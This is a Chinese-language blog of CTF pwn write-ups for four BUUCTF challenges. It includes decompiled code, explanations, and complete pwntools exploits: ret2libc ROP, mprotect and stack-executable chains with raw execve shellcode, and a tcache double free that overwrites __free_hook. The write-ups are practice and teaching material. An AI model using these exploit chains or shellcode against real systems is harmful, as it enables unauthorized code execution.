太水太模板化的题不记录,感觉有新东西学或需要重点记录的单独开文
格式:## [题源]题目名
[OGeek2019]babyrop
分析
main()
生成一个随机数然后写在数组里 --> 随机数作为参数调用sub_804871F()
--> sub_804871F()
的返回值作为参数调用sub_80487D0()
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h] BYREF
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]
sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}
sub_80486BB()
定时闹钟,一段时间后程序自动退出
具体怎么实现的不太懂,这里不影响
int sub_80486BB()
{
alarm(0x3Cu);
signal(14, handler);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
return setvbuf(stderr, 0, 2, 0);
}
sub_804871F()
将随机数写在数组内 --> 输入字符串并截断末尾 --> 比较字符串和随机数的大小 --> 字符串小于随机数则返回字符串偏移为8处的值
这里明显是无法溢出的,而是需要我们绕过逻辑
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
ssize_t v5; // [esp+4Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
memset(buf, 0, sizeof(buf));
sprintf(s, "%ld", a1);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}
sub_80487D0()
若传入参数等于127则无法溢出,若不等于127则可以溢出
所以需要构造这个参数足够大,能容得下整个payload
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf[231]; // [esp+11h] [ebp-E7h] BYREF
if ( a1 == 127 )
result = read(0, buf, 0xC8u);
else
result = read(0, buf, a1);
return result;
}
其实这道题主要还是绕过它的逻辑来获得溢出的机会,剩下的就是常规的ROP
只讨论绕过部分的payload构造:
- 先在开头用
\x00
绕过比较防止exit
- 然后需要在payload的第8位构造一个足够大的值来容纳后面要输入的ROP链
- 首先这个值至少要大于
0xE7
才能溢出 - 平常使用的常规ASCII码是不够用的,需要用到拓展ASCII码
\xff
是扩展ASCII码中的第0xff
个字符,换成十进制就是255
- 首先这个值至少要大于
exp
from pwn import *
# from LibcSearcher import *
# io = process("./pwn")
io = remote("node4.buuoj.cn",26771)
e = ELF('./pwn')
libc = ELF('./libc-2.23.so')
payload0 = b'\x00' + b'a'*6 + b'\xff'
io.sendline(payload0)
io.recvuntil('\n')
puts_plt = e.plt['puts']
puts_got = e.got['puts']
main_addr = 0x08048825
payload1 = b'a'*0xe7 + b'b'*0x04 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.sendline(payload1)
puts_addr = u32(io.recv(4))
# libc = LibcSearcher("puts",puts_addr)
# base = puts_addr - libc.dump("puts")
# sys_addr = base + libc.dump("system")
# binsh_addr = base + libc.dump("str_bin_sh")
base = puts_addr - libc.symbols['puts']
sys_addr = base + libc.symbols['system']
binsh_addr = base + next(libc.search(b'/bin/sh'))
io.sendline(payload0)
io.recvuntil("\n")
exit_addr = 0x08048558
payload2 = b'a'*0xe7 + b'b'*0x04 + p32(sys_addr) + p32(exit_addr) + p32(binsh_addr)
io.sendline(payload2)
io.interactive()
用LibcSearcher的话本地可以打通,但打靶机的时候会找不到对的libc版本
所以直接使用题目给的libc最好(但是这样在本地就打不通了,不过重点不在这里,切换下就好)找str_bin_sh
那里的next
方法看不太懂是什么,但是不加的话search
方法返回一个生成器导致类型错误
参考
- [BUUCTF]Pwn刷题记录(Do1phln大佬)
- CSDN
[3DSCTF2016]get_started_3dsctf_2016
分析
反汇编出来一大堆函数,其中就有后门函数
本来是挺入门级的ret2text,但不同的地方在于这道题应该是把libc静态链接进去了(也有可能是重写的),然后大佬们就有了更多更有趣的解法
当然,我相信大佬们不只有下面这两种解法,只要libc在就可以有很多的可能
方法1
题目是开了NX保护的
可以通过vmprotect
来修改某块内存地址的读写权限来执行shell
int mprotect(const void *startaddr, size_t len, int prot);
startaddr
内存起始地址,len
修改内存的长度,prot
内存的权限
需要指出的是,指定的内存区间必须包含整个内存页(4K),区间开始的地址startaddr必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍0x1000=4096
prot = 7 表示可读可写可执行4+2+1=7(r=4,w=2,x=1)
单有vmprotect
还不够,我们需要一段可写入的内存
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x80ea000 r-xp a2000 0 xxx/get_started_3dsctf_2016
0x80ea000 0x80ec000 rw-p 2000 a1000 xxx/get_started_3dsctf_2016
0x80ec000 0x810f000 rw-p 23000 0 [heap]
0xf7ff8000 0xf7ffc000 r--p 4000 0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp 2000 0 [vdso]
0xfffdc000 0xffffe000 rw-p 22000 0 [stack]
0x80ea000
到0x80ec000
这段区域就有写权限(堆区那段也可以,栈区就不行了)
由于mprotect
和read
都有三个参数,所以最后再找一段3pop ret的gadget就准备完成了
exp1
from pwn import *
q = process("./get_started_3dsctf_2016")
elf = ELF("./get_started_3dsctf_2016")
mprotect_addr = elf.symbols["mprotect"]
read_addr = elf.symbols["read"]
# 内存权限改变的起始地址,也是shellcode写入的起始地址
start_addr = 0x80ea000
# 执行三个弹栈操作的汇编代码起始位置
pop_3_ret = 0x0804f460
payload = cyclic(0x38)
payload += p32(mprotect_addr)
payload += p32(pop_3_ret)
payload += p32(start_addr)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(read_addr)
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(start_addr)
payload += p32(0x100)
payload += p32(start_addr)
shellcode = asm(shellcraft.sh())
q.sendline(payload)
sleep(0.1)
q.sendline(shellcode)
q.interactive()
方法2
第二个方法本质和上一个方法是一样的,只不过用了一个套娃的vmprotect
int __regparm3 _dl_make_stack_executable(uint *param_1)
{
int iVar1;
int in_GS_OFFSET;
if (*param_1 == __libc_stack_end) {
iVar1 = mprotect((void *)(-_dl_pagesize & *param_1),_dl_pagesize,__stack_prot);
if (iVar1 == 0) {
*param_1 = 0;
_dl_stack_flags = _dl_stack_flags | 1;
}
else {
iVar1 = *(int *)(&DAT_ffffffe8 + in_GS_OFFSET);
}
return iVar1;
return 1;
}
exp2
gadget没找好所以略显繁琐,但我懒得帮他改了
from pwn import *
from pwnlib.shellcraft import i386
import time
elf = ELF('./get_started_3dsctf_2016')
sh = process('get_started_3dsctf_2016')
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
nops = b"\x90" * (56)
rop = nops
rop += p32(0x0806fc30) # pop edx ; ret
rop += p32(0x080eafec) # __stack_prot
rop += p32(0x01020304) # 下面两个值无意义,没有找到合适的gadget
rop += p32(0x05060708)
rop += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x07) # 7 (PROT_EXEC|PROT_READ|PROT_WRITE|PROT_NONE)
rop += p32(0x080557ab) # mov dword ptr [edx], eax ; ret
rop += p32(0x080b91e6) # pop eax ; ret
rop += p32(0x080eafc8) # __libc_stack_end (param1通过eax传入)
rop += p32(0x0809aef0) # _dl_make_stack_executable
rop += p32(0x08093d41) # push esp; ret (需要,把shellcode放入esp执行?)
rop += shellcode
print(rop)
with open("payload.txt", "wb") as f:
f.write(rop)
sh.sendline(rop)
sh.interactive()
参考
- [BUUCTF]Pwn刷题记录(还是Do1phln大佬)
- CSDN
[CISCN2019]ciscn_2019_en_3
分析
靶机环境是 Ubuntu18、glibc-2.27,试过确认 tcache 可以 double free
main()
经典增删查改,但其实这里只给增删不给查和改
前面那一堆 puts 里藏了一个 printf(太阴险了),存在格式化字符串漏洞
unsigned __int64 operation()
{
int v1; // [rsp+Ch] [rbp-44h] BYREF
char s[16]; // [rsp+10h] [rbp-40h] BYREF
char buf[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Welcome to the story kingdom.");
puts("What's your name?");
read(0, buf, 32uLL);
_printf_chk(1LL, buf); // format string (hard to use)
puts("Please input your ID.");
read(0, s, 8uLL);
puts(s);
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v1);
getchar();
switch ( v1 )
{
case 1:
add();
break;
case 2:
edit();
break;
case 3:
show();
break;
case 4:
delete();
break;
case 5:
puts("Goodbye~");
exit(0);
default:
puts("Wrong choice!");
return __readfsqword(0x28u) ^ v4;
}
}
}
add()
指针写在了 .bss 段
unsigned __int64 add()
{
int v0; // ebx
int v2; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
if ( dword_20204C > 16 )
puts("Enough!");
puts("Please input the size of story: ");
_isoc99_scanf("%d", &v2);
*(&unk_202060 + 4 * dword_20204C) = v2; // .bss
v0 = dword_20204C;
*(&unk_202068 + 2 * v0) = malloc(v2);
puts("please inpute the story: ");
read(0, *(&unk_202068 + 2 * dword_20204C), v2);
++dword_20204C;
puts("Done!");
return __readfsqword(0x28u) ^ v3;
}
delete()
没有清空指针,存在 UAF 可以一把梭
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Please input the index:");
_isoc99_scanf("%d", &v1);
free(*(&unk_202068 + 2 * v1)); // double free
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
最后考虑如何泄露 libc 地址,考虑利用前面的格式化字符串(也有用输出 ID 那里的 puts 的做法,不过没太搞懂栈帧为什么会这样排布)
调试发现setbuffer+231
恰好在 name 上方,只需八个%p
就能刚好泄露到那
利用这个setbuffer
来泄露 libc即可
最后就是 double free -> 篡改 fd -> 篡改 free_hook -> one_gadget getshell
exp
from pwn import *
# io = process('./ciscn_2019_en_3')
io = remote('node4.buuoj.cn', 26161)
libc = ELF('./libc-2.27.so')
def add(size, buf):
io.recvuntil("Input your choice:")
io.sendline('1')
io.recvuntil("Please input the size of story: \n")
io.sendline(str(size))
io.recvuntil("please inpute the story: \n")
io.sendline(buf)
def delete(index):
io.recvuntil("Input your choice:")
io.sendline('4')
io.recvuntil("Please input the index:\n")
io.sendline(str(index))
io.recvuntil("name?")
io.sendline(b'%p'*8)
io.recvline()
setbuffer = int(encode(io.recvline()[-15:-1]),16)
libc_base = setbuffer - 0x81237
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322
io.recvuntil("ID.")
io.sendline('aaa')
io.recvuntil('aaa')
add(0x100, 'aaa')
add(0x100, 'aaa')
delete(0)
delete(0)
add(0x100, p64(free_hook))
add(0x100, p64(one_gadget))
add(0x100, p64(one_gadget))
delete(1)
io.interactive()
[CISCN2019]ciscn_2019_n_3
靶机环境是 32 位 Ubuntu18、glibc-2.27
查了网上几个人的分析都说是 fast bin attack,调试截图也是 fast bin,但直觉上释放的堆块应该进入 tcache 才对,调试查看 tcache 的结构体也确认确实如此
分析
main()
里经典增删查,这里就不贴出来了
do_new()
int do_new()
{
int v1; // eax
int v2; // [esp+0h] [ebp-18h]
int v3; // [esp+4h] [ebp-14h]
unsigned int size; // [esp+Ch] [ebp-Ch]
v2 = ask("Index");
if ( v2 < 0 || v2 > 16 )
return puts("Out of index!");
if ( records[v2] )
return printf("Index #%d is used!\n", v2);
records[v2] = malloc(0xCu); // struct: *type_print() *type_free() value/*ptr
v3 = records[v2];
*v3 = rec_int_print;
*(v3 + 4) = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v1 = ask("Type");
if ( v1 == 1 )
{
*(v3 + 8) = ask("Value");
}
else
{
if ( v1 != 2 )
return puts("Invalid type!");
size = ask("Length");
if ( size > 0x400 )
return puts("Length too long, please buy pro edition to store longer note!");
*(v3 + 8) = malloc(size);
printf("Value > ");
fgets(*(v3 + 8), size, stdin);
*v3 = rec_str_print;
*(v3 + 4) = rec_str_free;
}
puts("Okey, got your data. Here is it:");
return (*v3)(v3);
}
do_del()
int do_del()
{
int v0; // eax
v0 = ask("Index");
return (*(records[v0] + 4))(records[v0]); // *type_free()
}
比较特殊的是这里其实 malloc 出来的堆块存放的是一个结构体,大概长这样
// when user choose 'Text'
struct chunk
{
void *rec_str_print();
void *rec_str_free();
char *str;
}
// when user choose 'Integer'
struct chunk
{
void *rec_int_print();
void *rec_int_free();
int number;
}
结构体内存放两个函数指针,分别应付两种类型的不同需求
当选择字符串型时还会额外申请一个堆块用于存放数据,这点后面会加以利用
初步的想法是覆盖结构体里的函数指针,从而在 delete/show 时能直接调用 system
接下来动态调试下
这里发现可能是alarm()
的原因无法直接使用 gdb 调试,只能在 exp 里gdb.attach()
,非常的 amazing
delete 堆块前
堆的排布顺序依次是:chunk 0 -> chunk 0 string -> chunk 1 -> chunk 1 string -> chunk 2
exp 最终排布
堆的排布顺序依次是:chunk 0 -> chunk 0 string -> chunk 3 string = free_chunk 1 -> free_chunk 1 string ->chunk 3 = free_chunk 2
由于 tcache/fast bin 使用 FILO 策略,这里申请的 chunk 3 的 value 块就被分配到了原来的 chunk 1,然后改写 chunk 1 的两个函数指针为sh\x00\x00
(因为只有四个字节/bin/sh\x00
塞不进去,填bash
也可以)和 system 的 plt,然后利用 UAF 将其作为 chunk 1 释放来实现调用system("sh")
exp
from pwn import *
io = process('./ciscn_2019_n_3')
# io = remote('node4.buuoj.cn', 26563)
libc = ELF('./libc-2.27.so')
elf = ELF('./ciscn_2019_n_3')
def add_int(index, value):
io.sendlineafter('CNote > ', '1')
io.sendlineafter('Index > ', str(index))
io.sendlineafter('Type > ', '1')
io.sendlineafter('Value > ', str(value))
def add_str(index, value, length):
io.sendlineafter('CNote > ', '1')
io.sendlineafter('Index > ', str(index))
io.sendlineafter('Type > ', '2')
io.sendlineafter('Length > ', str(length))
io.sendlineafter('Value > ', value)
def delete(index):
io.sendlineafter('CNote > ', '2')
io.sendlineafter('Index > ', str(index))
def show(index):
io.sendlineafter('CNote > ', '3')
io.sendlineafter('Index > ', str(index))
add_str(0, b'aaa', 0x10)
add_str(1, b'aaa', 0x10)
add_int(2, 1)
delete(1)
delete(2)
system_plt = elf.plt['system']
add_str(3, b'sh\x00\x00' + p32(system_plt), 0xc) # Integer 的结构体的大小正好适合覆盖指针
delete(1)
io.interactive()
Comments NOTHING